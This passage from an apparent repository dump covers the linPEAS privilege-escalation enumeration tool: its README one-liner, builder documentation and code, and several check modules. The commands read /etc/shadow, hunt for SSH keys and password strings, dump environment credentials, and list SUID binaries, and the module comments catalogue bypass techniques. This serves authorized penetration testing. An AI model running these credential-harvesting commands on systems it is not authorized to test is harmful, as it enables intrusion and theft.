python2.6 python3.6 python3.7 perl php ruby xterm doas sudo 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Capabilities\\n\"$NC >> $file;getcap -r / 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Environment\\n\"$NC >> $file;(set || env) 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Top and cleaned proccesses\\n\"$NC >> $file;ps aux 2>/dev/null | grep -v \"\\[\" >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Binary processes permissions\\n\"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Services\\n\"$NC >> $file;(/usr/sbin/service --status-all || /sbin/chkconfig --list || /bin/rc-status) 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Different processes executed during 1 min (HTB)\\n\"$NC >> $file;if [ \"`ps -e --format cmd`\" ]; then for i in {1..121}; do ps -e --format cmd >> $file.tmp1; sleep 0.5; done; sort $file.tmp1 | uniq | grep -v \"\\[\" | sed '/^.\\{500\\}./d' >> $file; rm $file.tmp1; fi;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Proccesses binary permissions\\n\"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Scheduled tasks\\n\"$NC >> $file;crontab -l 2>/dev/null >> $file;ls -al /etc/cron* 2>/dev/null >> $file;cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root /var/spool/anacron 2>/dev/null | grep -v \"^#\" >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Any sd* disk in /dev?\\n\"$NC >> $file;ls /dev 2>/dev/null | grep -i \"sd\" >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Storage information\\n\"$NC >> $file;df -h 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Unmounted file-system?\\n\"$NC >> $file;cat /etc/fstab 2>/dev/null | grep -v \"^#\" >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Printer?\\n\"$NC >> $file;lpstat -a 2>/dev/null >> $file;echo \"\" >> $file;echo \"\" >> $file;echo \"[+]Gathering network information...\";printf $B\"[*] \"$RED\"NETWORK INFO\\n\"$NC >> $file ;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Hostname, hosts and DNS\\n\"$NC >> $file;cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v \"^#\" >> $file;dnsdomainname 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Networks and neightbours\\n\"$NC >> $file;cat /etc/networks 2>/dev/null >> $file;(ifconfig || ip a) 2>/dev/null >> $file;iptables -L 2>/dev/null >> $file;ip n 2>/dev/null >> $file;route -n 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Ports\\n\"$NC >> $file;(netstat -punta || ss -t; ss -u) 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Can I sniff with tcpdump?\\n\"$NC >> $file;timeout 1 tcpdump >> $file 2>&1;echo \"\" >> $file;echo \"\" >> $file;echo \"[+]Gathering users information...\";printf $B\"[*] \"$RED\"USERS INFO\\n\"$NC >> $file ;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Me\\n\"$NC >> $file;(id || (whoami && groups)) 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Sudo -l without password\\n\"$NC >> $file;echo '' | sudo -S -l -k 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Do I have PGP keys?\\n\"$NC >> $file;gpg --list-keys 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Superusers\\n\"$NC >> $file;awk -F: '($3 == \"0\") {print}' /etc/passwd 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Login\\n\"$NC >> $file;w 2>/dev/null >> $file;last 2>/dev/null | tail >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Users with console\\n\"$NC >> $file;cat /etc/passwd 2>/dev/null | grep \"sh$\" >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"All users\\n\"$NC >> $file;cat /etc/passwd 2>/dev/null | cut -d: -f1 >> $file;echo \"\" >> $file;echo \"\" >> $file;echo \"[+]Gathering files information...\";printf $B\"[*] \"$RED\"INTERESTING FILES\\n\"$NC >> $file ;echo \"\" >> $file;printf $Y\"[+] \"$RED\"SUID\\n\"$NC >> $file;find / -perm -4000 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"SGID\\n\"$NC >> $file;find / -perm -g=s -type f 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Files inside \\$HOME (limit 20)\\n\"$NC >> $file;ls -la $HOME 2>/dev/null | head -n 20 >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"20 First files of /home\\n\"$NC >> $file;find /home -type f 2>/dev/null | column -t | grep -v -i \"/\"$USER | head -n 20 >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Files inside .ssh directory?\\n\"$NC >> $file;find  /home /root -name .ssh 2>/dev/null -exec ls -laR {} \\; >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"*sa_key* files\\n\"$NC >> $file;find / -type f -name \"*sa_key*\" -ls 2>/dev/null -exec ls -l {} \\; >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Mails?\\n\"$NC >> $file;ls -alh /var/mail/ /var/spool/mail/ 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"NFS exports?\\n\"$NC >> $file;cat /etc/exports 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Hashes inside /etc/passwd? Readable /etc/shadow or /etc/master.passwd?\\n\"$NC >> $file;grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null >> $file;cat /etc/shadow /etc/master.passwd 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Readable /root?\\n\"$NC >> $file;ls -ahl /root/ 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Inside docker or lxc?\\n\"$NC >> $file;dockercontainer=`grep -i docker /proc/self/cgroup  2>/dev/null; find / -name \"*dockerenv*\" -exec ls -la {} \\; 2>/dev/null`;lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null`;if [ \"$dockercontainer\" ]; then echo \"Looks like we're in a Docker container\" >> $file; fi;if [ \"$lxccontainer\" ]; then echo \"Looks like we're in a LXC container\" >> $file; fi;echo \"\" >> $file;printf $Y\"[+] \"$RED\"*_history, profile, bashrc, httpd.conf\\n\"$NC >> $file;find / -type f \\( -name \"*_history\" -o -name \"profile\" -o -name \"*bashrc\" -o -name \"httpd.conf\" \\) -exec ls -l {} \\; 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"All hidden files (not in /sys/) (limit 100)\\n\"$NC >> $file;find / -type f -iname \".*\" -ls 2>/dev/null | grep -v \"/sys/\" | head -n 100 >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"What inside /tmp, /var/tmp, /var/backups\\n\"$NC >> $file;ls -a /tmp /var/tmp /var/backups 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Interesting writable Files\\n\"$NC >> $file;USER=`whoami`;HOME=/home/$USER;find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'| sort | uniq >> $file;for g in `groups`; do find / \\( -type f -or -type d \\) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'; done >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Web files?(output limited)\\n\"$NC >> $file;ls -alhR /var/www/ 2>/dev/null | head >> $file;ls -alhR /srv/www/htdocs/ 2>/dev/null | head >> $file;ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head >> $file;ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Backup files?\\n\"$NC >> $file;find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \\( -name \"*back*\" -o -name \"*bck*\" \\) 2>/dev/null >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Find IPs inside logs\\n\"$NC >> $file;grep -a -R -o '[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}' /var/log/ 2>/dev/null | sort | uniq >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Find 'password' or 'passw' string inside /home, /var/www, /var/log, /etc\\n\"$NC >> $file;grep -lRi \"password\\|passw\" /home /var/www /var/log 2>/dev/null | sort | uniq >> $file;echo \"\" >> $file;printf $Y\"[+] \"$RED\"Sudo -l (you need to puts the password and the result appear in console)\\n\"$NC >> $file;sudo -l;\n```\n\n## PEASS Style\n\nAre you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas\n\n## Collaborate\n\nIf you want to help with the TODO tasks or with anything, you can do it using **[github issues](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/issues) or you can submit a pull request**.\n\nIf you find any issue, please report it using **[github issues](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/issues)**.\n\n**Linpeas** is being **updated** every time I find something that could be useful to escalate privileges.\n\n## Advisory\n\nAll the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.\n"
  },
  {
    "path": "linPEAS/TODO.md",
    "content": "- Add more checks\n- Add more potential files with passwords to sensitive_files.yaml\n- Add more regex of interesting APIs to regexes.yaml\n- Mantain updated the list of vulnerable SUID binaries\n- Mantain updated all the blacklists used to color the output\n- Improve the speed\n- Reduce the size of the script\n- Generate automatically an obfuscated version"
  },
  {
    "path": "linPEAS/builder/README.md",
    "content": "# Build you own linpeas!\n\nYou can **build you own linpeas which will contain only the checks you want**. This is useful to reduce the time it takes to run linpeas and to make linpeas more stealth and modular.\n\n## Quick start building linpeas.sh\n\nIt's possible to indicate the params `--all`, `--all-no-fat` and `--small` to build the classic `linpeas_fat.sh`, `linpeas.sh` and `linpeas_small.sh` outputs:\n- When testing builder changes locally, prefer writing the output to `/tmp` so you don't overwrite tracked release artifacts by accident.\n\n- **linpeas_fat.sh**: Contains all checks, even third party applications in base64 embedded.\n- **linpeas.sh**: Contains all checks, but only the third party application `linux exploit suggester` is embedded. This is the default `linpeas.sh`.\n- **linpeas_small.sh**: Contains only the most *important* checks making its size smaller.\n\nHowever, in order to indicate only some specific checks, you can use the `--include` and `--exclude` params. These arguments supports a comma separated list of modules to add or remove from the final linpeas. Note that the matchs are done by checking **if the module path string contains any of the words** indicated in those params. Therefore, if you want to inde all the tests from the `linpeas_parts/3_cloud` it's enough to indicate `--include \"cloud\"`. Or if you want to include only the check `linpeas_parts/3_cloud/1_Check_if_in_Cloud` you can indicate `--include \"Check_if_in_Cloud\"`.\n\n```bash\n# Run this commands from 1 level above the builder folder. From here: cd ..\n# Build linpeas_fat (linpeas with all checks, even third party applications in base64 embedded)\npython3 -m builder.linpeas_builder --all --output /tmp/linpeas_fat.sh\n\n# Build regular linpeas\npython3 -m builder.linpeas_builder --all-no-fat --output /tmp/linpeas.sh\n\n# Build small linpeas\npython3 -m builder.linpeas_builder --small --output /tmp/linpeas_small.sh\n\n# Build linpeas only with container and cloud checks\npython3 -m builder.linpeas_builder --include \"container,cloud\" --output /tmp/linpeas_custom.sh\n\n# Build linpeas only with regexes\npython3 -m builder.linpeas_builder --include \"api_keys_regex\" --output /tmp/linpeas_custom.sh\n\n# Build linpeas only with some specific modules\n## You can customize it as much as you want\npython3 -m builder.linpeas_builder --include \"CPU_info,Sudo_version,Clipboard_highlighted_text\" --output /tmp/linpeas_custom.sh\n\n# Build linpeas excluding some specific modules\npython3 -m builder.linpeas_builder --exclude \"CPU_info,Sudo_version,Clipboard_highlighted_text\" --output /tmp/linpeas_custom.sh\n```\n\n## How to add new modules\n\nAdding new modules is very easy. You just need to create a new file in the `linpeas_parts/<corresponding section>` folder with the following structure with the bash code to run. Note that every new module should have some specific metadata at the beggining of the file. This metadata is used by the builder to generate the final linpeas.\n\nMetadata example:\n\n```bash\n# Title: Cloud - Check if in cloud\n# ID: CL_Check_if_in_cloud\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check if the current system is inside a cloud environment\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: check_aws_codebuild, check_aws_ec2, check_aws_ecs, check_aws_lambda, check_az_app, check_az_vm, check_do, check_gcp, check_ibm_vm, check_tencent_cvm, print_list\n# Global Variables: $is_aws_codebuild, $is_aws_ecs, $is_aws_ec2, , $is_aws_lambda, $is_az_app, $is_az_vm, $is_do, $is_gcp_vm, $is_gcp_function, $is_ibm_vm, $is_aws_ec2_beanstalk, $is_aliyun_ecs, $is_tencent_cvm\n# Initial Functions: check_gcp, check_aws_ecs, check_aws_ec2, check_aws_lambda, check_aws_codebuild, check_do, check_ibm_vm, check_az_vm, check_az_app, check_aliyun_ecs, check_tencent_cvm\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n<code>\n```\n\n### Metadata parts explained\n\n- **Title**: Title of the module\n- **ID**: Unique identifier of the module. It has to be the same as the filename without the extension and with the section identifier as prefix (in this case `CL`)\n- **Author**: Author of the module\n- **Last Update**: Last update of the module\n- **Description**: Description of the module\n- **License**: License of the module\n- **Version**: Version of the module\n- **Functions Used**: Functions used by the module inside the bash code. If your module is using a function not defined here, linpeas won't be built.\n- **Global Variables**: Global variables used by the module inside the bash code. If your module is using a global variable not defined here, linpeas won't be built.\n- **Initial Functions**: Functions that are called at the beggining of the module. If your module is using a function not defined here, linpeas won't be built.\n- **Generated Global Variables**: Global variables generated (given a relevant value) by the module. If your module is generating a global variable not defined here, linpeas won't be built.\n- **Fat linpeas**: Set only as 1 if the module is loading a third party app, if not 0.\n- **Small linpeas**: Set as 1 if it's a quick check, if not 0.\n"
  },
  {
    "path": "linPEAS/builder/__init__.py",
    "content": ""
  },
  {
    "path": "linPEAS/builder/linpeas_builder.py",
    "content": "from .src.peasLoaded import PEASLoaded\nfrom .src.linpeasBuilder import LinpeasBuilder\nfrom .src.linpeasBaseBuilder import LinpeasBaseBuilder\nfrom .src.yamlGlobals import FINAL_FAT_LINPEAS_PATH, FINAL_LINPEAS_PATH, TEMPORARY_LINPEAS_BASE_PATH\n\nimport os\nimport stat\nimport argparse\n\n# python3 -m builder.linpeas_builder\ndef main(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules, output):\n    # Load configuration\n    ploaded = PEASLoaded()\n\n    # Build temporary linpeas_base.sh file\n    lbasebuilder = LinpeasBaseBuilder(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules)\n    lbasebuilder.build()\n\n    # Build final linpeas.sh\n    lbuilder = LinpeasBuilder(ploaded)\n    lbuilder.build()\n    lbuilder.write_linpeas(output)\n    try:\n        os.remove(TEMPORARY_LINPEAS_BASE_PATH) # Remove the built linpeas_base_temp.sh file\n    except FileNotFoundError:\n        pass  # Already removed (e.g. by a concurrent builder invocation in tests)\n    \n    st = os.stat(output)\n    os.chmod(output, st.st_mode | stat.S_IEXEC)\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description='Build you own linpeas.sh')\n    parser.add_argument('--all', action='store_true', help='Build linpeas with all modules (linpeas_fat).')\n    parser.add_argument('--all-no-fat', action='store_true', help='Build linpeas with all modules except fat ones.')\n    parser.add_argument('--no-network-scanning', action='store_true', help='Build linpeas without network scanning.')\n    parser.add_argument('--small', action='store_true', help='Build small version of linpeas.')\n    parser.add_argument('--include', type=str, help='Build linpeas only with the modules indicated you can indicate section names or module IDs).')\n    parser.add_argument('--exclude', type=str, help='Exclude the given modules (you can indicate section names or module IDs).')\n    parser.add_argument('--output', required=True, type=str, help='Path to write the final linpeas file to.')\n    args = parser.parse_args()\n\n    all_modules = args.all\n    all_no_fat_modules = args.all_no_fat\n    no_network_scanning = args.no_network_scanning\n    small = args.small\n    include_modules = args.include.split(\",\") if args.include else []\n    include_modules = [m.strip().lower() for m in include_modules]\n    exclude_modules = args.exclude.split(\",\") if args.exclude else []\n    exclude_modules = [m.strip().lower() for m in exclude_modules]\n    output = args.output\n\n    # If not all, all-no-fat, small or include, exit\n    if not args.all and not args.all_no_fat and not args.small and not args.include:\n        print(\"You must specify one of the following options: --all, --all-no-fat, --small or --include\")\n        parser.print_help()\n        exit(1)\n    \n    main(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules, output)\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/10_api_keys_regex/regexes.sh",
    "content": "# Title: API Keys Regex - Regexes\n# ID: RX_regexes\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Regexes\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001,T1528\n# Functions Used: print_2title, search_for_regex\n# Global Variables: $REGEXES, $TIMEOUT\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$REGEXES\" ] && [ \"$TIMEOUT\" ]; then\n    peass{REGEXES}\nelse\n    echo \"Regexes to search for API keys aren't activated, use param '-r' \"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/10_Environment.sh",
    "content": "# Title: System Information - Environment\n# ID: SY_Environment\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Check for sensitive information in environment variables that could lead to privilege escalation:\n#   - Credentials in environment variables\n#   - API keys and tokens\n#   - Sensitive configuration data\n#   - Common vulnerable scenarios:\n#     * Hardcoded credentials in environment\n#     * API keys exposed in environment\n#     * Database credentials in environment\n#     * Service account tokens\n#   - Exploitation methods:\n#     * Credential harvesting: Extract sensitive data from environment\n#     * Common attack vectors:\n#       - Password/credential extraction\n#       - API key abuse\n#       - Token theft\n#       - Configuration data leakage\n#     * Exploit techniques:\n#       - Environment variable dumping\n#       - Credential reuse\n#       - Token reuse\n#       - Configuration abuse\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1082,T1552.007\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables: $NoEnvVars, $EnvVarsRed\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_2title \"Environment\" \"T1082,T1552.007\"\nprint_info \"Any private information inside environment variables?\"\n(env || printenv || set) 2>/dev/null | grep -Eiv \"$NoEnvVars\" | sed -${E} \"s,$EnvVarsRed,${SED_RED},g\" || echo_not_found \"env || set\"\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/11_Dmesg.sh",
    "content": "# Title: System Information - Dmesg\n# ID: SY_Dmesg\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Check for kernel signature verification failures that could lead to privilege escalation:\n#   - Failed kernel module signature verifications\n#   - Common vulnerable scenarios:\n#     * Disabled kernel module signing\n#     * Failed signature verifications\n#     * Unsigned kernel modules\n#   - Exploitation methods:\n#     * Kernel module injection: Load malicious kernel modules\n#     * Common attack vectors:\n#       - Kernel module loading\n#       - Kernel module replacement\n#       - Kernel module modification\n#     * Exploit techniques:\n#       - Module signing bypass\n#       - Kernel module injection\n#       - Kernel module modification\n#       - Kernel module replacement\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1082\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables: $DEBUG\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$(command -v dmesg 2>/dev/null || echo -n '')\" ] || [ \"$DEBUG\" ]; then\n    print_2title \"Searching Signature verification failed in dmesg\" \"T1082\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#dmesg-signature-verification-failed\"\n    (dmesg 2>/dev/null | grep \"signature\") || echo_not_found \"dmesg\"\n    echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/12_Macos_os_checks.sh",
    "content": "# Title: System Information - MacOS OS checks\n# ID: SY_Macos_os_checks\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Check for MacOS-specific vulnerabilities and misconfigurations that could lead to privilege escalation:\n#   - Unsigned kernel extensions\n#   - Non-Apple kernel extensions\n#   - System Integrity Protection (SIP) status\n#   - Gatekeeper status\n#   - Common vulnerable scenarios:\n#     * Disabled SIP\n#     * Unsigned kernel extensions\n#     * Third-party kernel extensions\n#     * Disabled Gatekeeper\n#   - Exploitation methods:\n#     * Kernel extension injection: Load malicious kernel extensions\n#     * Common attack vectors:\n#       - SIP bypass\n#       - Kernel extension loading\n#       - Gatekeeper bypass\n#       - System modification\n#     * Exploit techniques:\n#       - Kernel extension injection\n#       - SIP bypass\n#       - Gatekeeper bypass\n#       - System modification\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1082\n# Functions Used:macosNotSigned, print_2title\n# Global Variables: $MACPEAS\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$MACPEAS\" ]; then\n    print_2title \"Kernel Extensions not belonging to apple\" \"T1082\"\n    kextstat 2>/dev/null | grep -Ev \" com.apple.\"\n    echo \"\"\n\n    print_2title \"Unsigned Kernel Extensions\" \"T1082\"\n    macosNotSigned /Library/Extensions\n    macosNotSigned /System/Library/Extensions\n    echo \"\"\nfi\n\nif [ \"$MACPEAS\" ] && [ \"$(command -v brew 2>/dev/null || echo -n '')\" ]; then\n    print_2title \"Brew Doctor Suggestions\" \"T1082\"\n    brew doctor\n    echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/1_system_information/16_Protections.sh",
    "content": "# Title: System Information - Protections\n# ID: SY_Protections\n# Author: Carlos Polop\n# Last Update: 07-03-2024\n# Description: Check for system security protections and their bypass possibilities:\n#   - AppArmor/SELinux status and profiles\n#   - ASLR status\n#   - Seccomp filters\n#   - Capabilities\n#   - Common vulnerable scenarios:\n#     * Disabled security modules\n#     * Weak security profiles\n#     * Missing security features\n#     * Misconfigured protections\n#   - Exploitation methods:\n#     * Protection bypass: Circumvent security measures\n#     * Common attack vectors:\n#       - AppArmor/SELinux bypass\n#       - ASLR bypass\n#       - Seccomp filter bypass\n#       - Capability abuse\n#     * Exploit techniques:\n#       - Profile bypass\n#       - Memory randomization bypass\n#       - Filter bypass\n#       - Capability exploitation\n#       - Protection circumvention\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1518.001\n# Functions Used: echo_not_found, print_2title, print_list, warn_exec\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $ASLR, $hypervisorflag, $detectedvirt, $unpriv_userns_clone, $perf_event_paranoid, $mmap_min_addr, $ptrace_scope, $dmesg_restrict, $kptr_restrict, $unpriv_bpf_disabled, $protected_symlinks, $protected_hardlinks, $label, $sysctl_path, $sysctl_var, $zero_color, $nonzero_color, $sysctl_value\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nprint_sysctl_eq_zero() {\n    local label=\"$1\"\n    local sysctl_path=\"$2\"\n    local sysctl_var=\"$3\"\n    local zero_color=\"$4\"\n    local nonzero_color=\"$5\"\n    local sysctl_value\n\n    print_list \"$label\" \"$NC\"\n    sysctl_value=$(cat \"$sysctl_path\" 2>/dev/null)\n    eval \"$sysctl_var=\\$sysctl_value\"\n    if [ -z \"$sysctl_value\" ]; then\n        echo_not_found \"$sysctl_path\"\n    else\n        if [ \"$sysctl_value\" -eq 0 ]; then\n            echo \"0\" | sed -${E} \"s,0,${zero_color},\"\n        else\n            echo \"$sysctl_value\" | sed -${E} \"s,.*,${nonzero_color},g\"\n        fi\n    fi\n}\n\n#-- SY) AppArmor\nprint_2title \"Protections\" \"T1518.001\"\nprint_list \"AppArmor enabled? .............. \"$NC\nif [ \"$(command -v aa-status 2>/dev/null || echo -n '')\" ]; then\n    aa-status 2>&1 | sed \"s,disabled,${SED_RED},\"\nelif [ \"$(command -v apparmor_status 2>/dev/null || echo -n '')\" ]; then\n    apparmor_status 2>&1 | sed \"s,disabled,${SED_RED},\"\nelif [ \"$(ls -d /etc/apparmor* 2>/dev/null)\" ]; then\n    ls -d /etc/apparmor*\nelse\n    echo_not_found \"AppArmor\"\nfi\n\n#-- SY) AppArmor2\nprint_list \"AppArmor profile? .............. \"$NC\n(cat /proc/self/attr/current 2>/dev/null || echo \"unconfined\") | sed \"s,unconfined,${SED_RED},\" | sed \"s,kernel,${SED_GREEN},\"\n\n#-- SY) LinuxONE\nprint_list \"is linuxONE? ................... \"$NC\n( (uname -a | grep \"s390x\" >/dev/null 2>&1) && echo \"Yes\" || echo_not_found \"s390x\")\n\n#-- SY) grsecurity\nprint_list \"grsecurity present? ............ \"$NC\n( (uname -r | grep \"\\-grsec\" >/dev/null 2>&1 || grep \"grsecurity\" /etc/sysctl.conf >/dev/null 2>&1) && echo \"Yes\" || echo_not_found \"grsecurity\")\n\n#-- SY) PaX\nprint_list \"PaX bins present? .............. \"$NC\n(command -v paxctl-ng paxctl >/dev/null 2>&1 && echo \"Yes\" || echo_not_found \"PaX\")\n\n#-- SY) Execshield\nprint_list \"Execshield enabled? ............ \"$NC\n(grep \"exec-shield\" /etc/sysctl.conf 2>/dev/null || echo_not_found \"Execshield\") | sed \"s,=0,${SED_RED},\"\n\n#-- SY) SElinux\nprint_list \"SELinux enabled? ............... \"$NC\n(sestatus 2>/dev/null || echo_not_found \"sestatus\") | sed \"s,disabled,${SED_RED},\"\n\n#-- SY) Seccomp\nprint_list \"Seccomp enabled? ............... \"$NC\n([ \"$(grep Seccomp /proc/self/status 2>/dev/null | grep -v 0)\" ] && echo \"enabled\" || echo \"disabled\") | sed \"s,disabled,${SED_RED},\" | sed \"s,enabled,${SED_GREEN},\"\n\n#-- SY) AppArmor\nprint_list \"User namespace? ................ \"$NC\nif [ \"$(cat /proc/self/uid_map 2>/dev/null)\" ]; then echo \"enabled\" | sed \"s,enabled,${SED_GREEN},\"; else echo \"disabled\" | sed \"s,disabled,${SED_RED},\"; fi\n\n#-- SY) Unprivileged user namespaces\nprint_sysctl_eq_zero \"unpriv_userns_clone? ........... \" \"/proc/sys/kernel/unprivileged_userns_clone\" \"unpriv_userns_clone\" \"$SED_GREEN\" \"$SED_RED\"\n\n#-- SY) Unprivileged eBPF\nprint_sysctl_eq_zero \"unpriv_bpf_disabled? ........... \" \"/proc/sys/kernel/unprivileged_bpf_disabled\" \"unpriv_bpf_disabled\" \"$SED_RED\" \"$SED_GREEN\"\n\n#-- SY) cgroup2\nprint_list \"Cgroup2 enabled? ............... \"$NC\n([ \"$(grep cgroup2 /proc/filesystems 2>/dev/null)\" ] && echo \"enabled\" || echo \"disabled\") | sed \"s,disabled,${SED_RED},\" | sed \"s,enabled,${SED_GREEN},\"\n\n#-- SY) Kernel hardening sysctls\nprint_sysctl_eq_zero \"kptr_restrict? ................. \" \"/proc/sys/kernel/kptr_restrict\" \"kptr_restrict\" \"$SED_RED\" \"$SED_GREEN\"\n\nprint_sysctl_eq_zero \"dmesg_restrict? ................ \" \"/proc/sys/kernel/dmesg_restrict\" \"dmesg_restrict\" \"$SED_RED\" \"$SED_GREEN\"\n\nprint_sysctl_eq_zero \"ptrace_scope? .................. \" \"/proc/sys/kernel/yama/ptrace_scope\" \"ptrace_scope\" \"$SED_RED\" \"$SED_GREEN\"\n\nprint_sysctl_eq_zero \"protected_symlinks? ............ \" \"/proc/sys/fs/protected_symlinks\" \"protected_symlinks\" \"$SED_RED\" \"$SED_GREEN\"\n\nprint_sysctl_eq_zero \"protected_hardlinks? ........... \" \"/proc/sys/fs/protected_hardlinks\" \"protected_hardlinks\" \"$SED_RED\" \"$SED_GREEN\"\n\nprint_list \"perf_event_paranoid? ........... \"$NC\nperf_event_paranoid=$(cat /proc/sys/kernel/perf_event_paranoid 2>/dev/null)\nif [ -z \"$perf_event_paranoid\" ]; then\n    echo_not_found \"/proc/sys/kernel/perf_event_paranoid\"\nelse\n    if [ \"$perf_event_paranoid\" -le 1 ]; then echo \"$perf_event_paranoid\" | sed -${E} \"s,.*,${SED_RED},g\"; else echo \"$perf_event_paranoid\" | sed -${E} \"s,.*,${SED_GREEN},g\"; fi\nfi\n\nprint_sysctl_eq_zero \"mmap_min_addr? ................. \" \"/proc/sys/vm/mmap_min_addr\" \"mmap_min_addr\" \"$SED_RED\" \"$SED_GREEN\"\n\nprint_list \"lockdown mode? ................. \"$NC\nif [ -f \"/sys/kernel/security/lockdown\" ]; then\n    cat /sys/kernel/security/lockdown 2>/dev/null | sed -${E} \"s,none,${SED_RED},g; s,integrity|confidentiality,${SED_GREEN},g\"\nelse\n    echo_not_found \"/sys/kernel/security/lockdown\"\nfi\n\n#-- SY) Kernel hardening config flags\nprint_list \"Kernel hardening flags? ........ \"$NC\nif [ -f \"/boot/config-$(uname -r)\" ]; then\n    grep -E 'CONFIG_RANDOMIZE_BASE|CONFIG_STACKPROTECTOR|CONFIG_SLAB_FREELIST_|CONFIG_KASAN' 